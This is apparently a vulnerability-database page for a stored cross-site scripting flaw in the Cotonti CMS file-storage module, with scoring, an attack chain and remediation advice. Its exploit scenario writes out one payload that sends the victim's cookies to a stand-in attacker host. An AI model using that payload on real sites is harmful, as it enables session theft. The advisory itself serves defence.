Skip to main content

Cotonti CVE-2026-55746

| EUVDEUVD-2026-37858 HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-06-18 TuranSec GHSA-86hp-hf3j-3m8r
7.0
CVSS 4.0 · Vendor: TuranSec
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Register low-privilege Cotonti account
  2. Delivery
    Open PFS module folder creation
  3. Exploit
    Submit folder title with <script> payload
  4. Install
    Mark folder public for visibility
  5. C2
    Victim browses PFS folder listing
  6. Execute
    Injected script executes in victim browser
  7. Impact
    Steal session or perform CSRF actions

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Attacker must hold an authenticated Cotonti account with permission to create folders in the Personal File Storage (PFS) module, and the target Cotonti instance must run code matching master commit f43f1fc3 (or any version where the cot_import 'TXT' filter omits HTML encoding and pfs.tpl emits {PFF_ROW_TITLE} unescaped). Execution requires a victim to load the folder listing view of the PFS module (UI:P) - for stored impact on other users, the malicious folder must be public or shared so victims can browse it; otherwise the payload only fires for the attacker themselves. No special server configuration is required beyond a default PFS-enabled deployment.

Impact

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:L/VA:N/SC:L/SI:L) reflects a network-reachable, low-complexity attack requiring an authenticated low-privilege account and victim interaction (viewing the folder listing), with high confidentiality impact on the vulnerable system and limited integrity/scope effects on the subsequent user's browser context - consistent with a stored XSS that can hijack sessions or exfiltrate sensitive data. There is no CISA KEV listing, no EPSS score in the provided data, no SSVC decision, and no public exploit identified at time of analysis, so this is not a mass-exploitation priority. However, the trigger condition is realistic: any registered user can plant a payload, and victims include other users browsing public folders, which raises practical risk for community sites with open registration. Note: the supplied 7.0 CVSS 4.0 base appears slightly high for stored XSS where impact is largely user-context, but it is defensible given session-theft potential against authenticated viewers.

Exploit ScenarioDerived

An attacker registers a low-privilege Cotonti account, opens the PFS module, and creates a folder whose title contains a payload such as <img src=x onerror=fetch('https://attacker/'+document.cookie)>, marking the folder public. When an administrator or other user browses the public folder listing, the payload executes in their browser context, enabling session cookie theft, CSRF actions against the admin panel, or drive-by phishing. No public exploit identified at time of analysis, but the bug is trivial to weaponize given the disclosed file and line.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv3 – Jun 18, 2026

Stored cross-site scripting in Cotonti 1.0.0 (master branch, commit f43f1fc3) lets an authenticated user inject HTML/JavaScript into Personal File Storage (PFS) folder titles, which then execute in any viewer's browser when the folder listing is rendered. The flaw stems from the 'TXT' import filter not encoding HTML combined with unescaped template output, and no public exploit identified at time of analysis. Discovered by TuranSec; impact extends to other users browsing public folders, enabling session theft or account actions in their context.

Earlier versions of this analysis (2)
v2 Jun 18, 2026 - 08:44 cvss changed CVSS 7.0

Stored cross-site scripting in Cotonti 1.0.0 (master branch commit f43f1fc3) allows authenticated users to inject persistent HTML/JavaScript via the Personal File Storage (PFS) module folder title field, which executes in victims' browsers when the folder listing is viewed. The flaw stems from the pff_title field being processed with the 'TXT' filter (HTML tag check disabled) and then rendered unescaped in the pfs.tpl template, enabling session hijacking or account takeover of any user - including administrators - who views a public folder. No public exploit identified at time of analysis, though the root cause is documented at the exact source line in the upstream repository.

v1 Jun 18, 2026 - 08:03 CVSS 7.6

Stored cross-site scripting in Cotonti 1.0.0 (master branch commit f43f1fc3) allows an authenticated user to inject HTML or JavaScript into Personal File Storage (PFS) folder titles, which then execute in any visitor's browser when the folder listing is rendered. Because public folders are viewable by other users, the payload can hijack sessions or perform privileged actions against authenticated viewers, including administrators. No public exploit identified at time of analysis.

RemediationAI

No vendor-released patch identified at time of analysis; monitor the upstream repository (https://github.com/Cotonti/Cotonti) for a fix to modules/pfs/inc/pfs.main.php and modules/pfs/tpl/pfs.tpl. Pending an official release, operators should apply a local patch wrapping PFF_ROW_TITLE assignment with htmlspecialchars($pff_title, ENT_QUOTES, 'UTF-8') before assigning to the template, or switch the cot_import filter for pff_title from 'TXT' to a stricter HTML-stripping filter - both changes risk breaking any legitimate use of formatting characters in folder titles but are safe for the typical use case. Compensating controls include restricting PFS folder creation to trusted user groups via Cotonti's permission system, disabling public folders so titles are only rendered to the owner, and deploying a Content-Security-Policy header that forbids inline script (script-src 'self') which neutralizes most XSS payloads at the cost of breaking any inline scripts in custom themes.

Affected VersionsENISA

Cotonti 1.0.0

Affected Packages

composer cotonti/cotonti no fix
euvd cotonti no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Cotonti is an open-source PHP-based content management and community platform. The vulnerability lives in the Personal File Storage (PFS) module: the folder title field (pff_title) is processed through cot_import() using the 'TXT' filter, which intentionally omits HTML tag stripping/encoding (the tag check is disabled for this filter). The raw value is then assigned to template variable PFF_ROW_TITLE in modules/pfs/inc/pfs.main.php without htmlspecialchars(), and modules/pfs/tpl/pfs.tpl emits {PFF_ROW_TITLE} unescaped. This is a textbook CWE-79 (Improper Neutralization of Input During Web Page Generation) caused by trusting an input filter that does not actually sanitize HTML and by missing contextual output encoding at the template layer. CPE coverage (cpe:2.3:a:cotonti:cotonti:*) implies all versions matching the vulnerable code path are in scope until a fix lands.

Know when Cotonti gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (TuranSec) PRIMARY 7.0 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:L/VA:N/SC:L/SI:L/SA:N
vuln.today AI 5.4 MEDIUM

Network-reachable PFS module exploitable by any authenticated low-priv user (PR:L); victim must view the folder listing (UI:R); payload executes in another user's browser context (S:C) with limited C/I impact and no availability effect.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (TuranSec).

CVSS VectorVendor: TuranSec

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

Lifecycle Timeline

3
Analysis Updated
Jun 18, 2026 - 08:44 vuln.today
v3 - CVSS changed
Analysis Updated
Jun 18, 2026 - 08:44 vuln.today
v2 - CVSS changed
CVSS changed
Jun 18, 2026 - 08:37 NVD
7.6 (HIGH) 7.0 (HIGH)

DescriptionCVE.org

Cotonti 1.0.0 (master branch, commit f43f1fc3) is vulnerable to stored Cross-Site Scripting in the Personal File Storage (PFS) module. A folder title (pff_title) is imported with the 'TXT' filter, which does not strip or encode HTML (the tag check in cot_import is disabled), so an authenticated user can store HTML/JavaScript in a folder title. In modules/pfs/inc/pfs.main.php the title is assigned to the template variable PFF_ROW_TITLE without htmlspecialchars(), and modules/pfs/tpl/pfs.tpl outputs {PFF_ROW_TITLE} unescaped. When the folder listing is viewed (including by other users for public folders), the injected script executes in the victim's browser.

Executive ViewAI

Why It Matters

Cotonti 1.0.0 file storage system allows authenticated users to inject malicious code into shared folders, which executes when other employees view them. Colleagues accessing these folders face session hijacking and account compromise, exposing the organization to credential theft and unauthorized system access. Any Cotonti deployment with active collaboration is immediately at risk.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Disable Personal File Storage if operationally feasible; (2) Restrict public folder access to authenticated users only; (3) Implement HTML encoding on folder title inputs if source code is accessible; (4) Monitor and audit folder creation/modification for suspicious activity; (5) Advise users to avoid clicking untrusted links in folder names.

Threat Intelligence Overview

EPSS Score
0.2%
Top 93% exploitable
Threat Intel
1
1 source
Social Media
1
Sightings
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.2%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Partial

Priority Score

35
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +35
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2013-4789 HIGH POC
7.5 Aug 09

SQL injection vulnerability in modules/rss/rss.php in Cotonti before 0.9.14 allows remote attackers to execute arbitrary

CVE-2026-55742 CRITICAL
9.4 Jun 18

Cross-site request forgery in Cotonti 1.0.0 (commit f43f1fc3) lets a remote attacker escalate privileges to administrato

CVE-2026-91939 CRITICAL
9.3 Sep 15

PHP object injection in the Cotonti 1.0.0 Comments plugin allows unauthenticated, network-reachable attackers to instant

CVE-2025-44115 MEDIUM POC
5.4 Jun 02

A vulnerability has been found in Cotonti Siena v0.9.25. Affected by this vulnerability is the file /admin.php?m=config&

CVE-2021-47808 MEDIUM POC
5.4 Jan 16

Cotonti Siena 0.9.19 contains a stored cross-site scripting vulnerability in the admin configuration panel's site title

CVE-2024-24115 MEDIUM POC
5.4 Feb 08

A stored cross-site scripting (XSS) vulnerability in the Edit Page function of Cotonti CMS v0.9.24 allows authenticated

CVE-2026-93868 CRITICAL
9.2 Sep 18

Unauthenticated attackers can reset the password of any Cotonti account, including administrator accounts, because passw

CVE-2022-39840 MEDIUM POC
4.8 Sep 05

Cotonti Siena 0.9.20 allows admins to conduct stored XSS attacks via a direct message (DM). Rated medium severity (CVSS

CVE-2022-39839 MEDIUM POC
4.8 Sep 05

Cotonti Siena 0.9.20 allows admins to conduct stored XSS attacks via a forum post. Rated medium severity (CVSS 4.8), thi

CVE-2026-55741 HIGH
8.7 Jun 18

Cross-site request forgery in Cotonti 1.0.0 (commit f43f1fc3) administration configuration handler allows a remote attac

CVE-2026-55744 HIGH
8.6 Jun 18

Cross-Site Request Forgery in the Personal File Storage (PFS) module of Cotonti 1.0.0 (commit f43f1fc3) allows remote at

CVE-2026-93872 HIGH
7.7 Sep 18

PHP object injection in Cotonti 1.0.0 allows authenticated users with comment-write permissions to pass attacker-control

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy